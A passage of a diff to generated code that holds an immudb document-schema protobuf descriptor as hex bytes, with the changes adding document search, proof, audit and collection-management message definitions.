0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, - 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5f, 0x0a, 0x0b, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, - 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, - 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, + 0x44, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, + 0x44, 0x22, 0x67, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, + 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x1a, + 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, + 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, + 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, + 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, + 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, - 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, - 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, - 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, + 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x0d, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, + 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, + 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, + 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, + 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, + 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, + 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 